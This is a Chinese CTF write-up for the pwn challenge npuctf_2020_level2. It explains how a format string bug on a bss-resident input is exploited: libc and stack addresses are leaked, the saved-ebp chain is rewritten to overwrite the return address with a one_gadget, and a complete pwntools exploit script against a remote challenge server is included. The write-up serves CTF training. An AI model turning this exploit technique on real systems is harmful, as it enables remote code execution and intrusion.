• 寒假训练 npuctf_2020_level2(8/250)修改ebp链来间接修改返回地址


    流程分析

    很容易可以看出是格式化字符串漏洞,不过利用方法是先简介修改ebp链,在通过ebp链直接修改返回地址,第一次遇见这种方法 记录一下

     思路

    1. 由于我们的输入在bss段上,并不会影响到stack上,经过观察后,可以发现栈上有__libc_main可以泄露libc,还有一个ebp链,通过ebp链我们可以来修改返回地址
    2. 首先用格式化字符串漏洞泄露stack的地址,并把ebp链指向stack里的返回地址,再然后,此时的ebp链情况为ebp->old ebp->返回地址,此时我们再通过格式化字符串漏洞对old ebp里的值进行修改,便可以修改返回地址了
    3. 不过不知道为啥,明明字符串都一样,但我用send和sendline都打不通,到后面看了binLep师傅的博客后换成sendlineafter后才打通的

    exp

    from pwn import *
    #9  35
    #p=process('./npuctf_2020_level2')
    p=remote('node3.buuoj.cn',26286)
    libc=ELF('../libc-2.27.so')
    context.log_level='debug'
    payload1='%7$p#%9$p@'
    p.sendline(payload1)
    
    p.recvuntil('0x')
    libc_base=(int(p.recvuntil("#",True),16) - 231)-libc.symbols['__libc_start_main']
    p.recvuntil('0x')
    addr_stack=int(p.recvuntil("@",True),16)-0xe0
    one_gadgets = [0x4f2c5,0x4f322,0x10a38c]
    
    
    one_gadget=one_gadgets[1]+libc_base
    stackbase = addr_stack & 0xffff
    p.sendlineafter('
    ', '%' + str(stackbase) + 'c%9$hnx00')
    p.sendlineafter('x20x20xb4', '%'+str(one_gadget&0xff)+'c%35$hhnx00')
    p.sendlineafter('x20x20xb4', '%'+str(stackbase+1)+'c%9$hhnx00')
    p.sendlineafter('x20x20xb4', '%'+str((one_gadget>>8)&0xffff)+'c%35$hhnx00')
    p.sendlineafter('x20x20xb4', '%'+str(stackbase+2)+'c%9$hhnx00')
    p.sendlineafter('x20x20xb4', '%'+str((one_gadget>>16)&0xff)+'c%35$hhnx00')
    #p.recv('x20x20xb4')
    p.sendline('66666666x00')
    #p.recv()
    print(hex(libc.symbols['__libc_start_main']))
    #gdb.attach(p)
    p.interactive()
  • 相关阅读:
    《构建之法》阅读笔记02
    《构建之法》阅读笔记01
    学习进度
    “校园知网”端午假期冲刺计划书
    学习进度
    计算最长英语单词链
    第一周冲刺_周日总结
    构建之法阅读笔记03
    第一周冲刺_周六总结
    软件工程概论第十四周学习进度
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14299804.html
Copyright © 2020-2023  润新知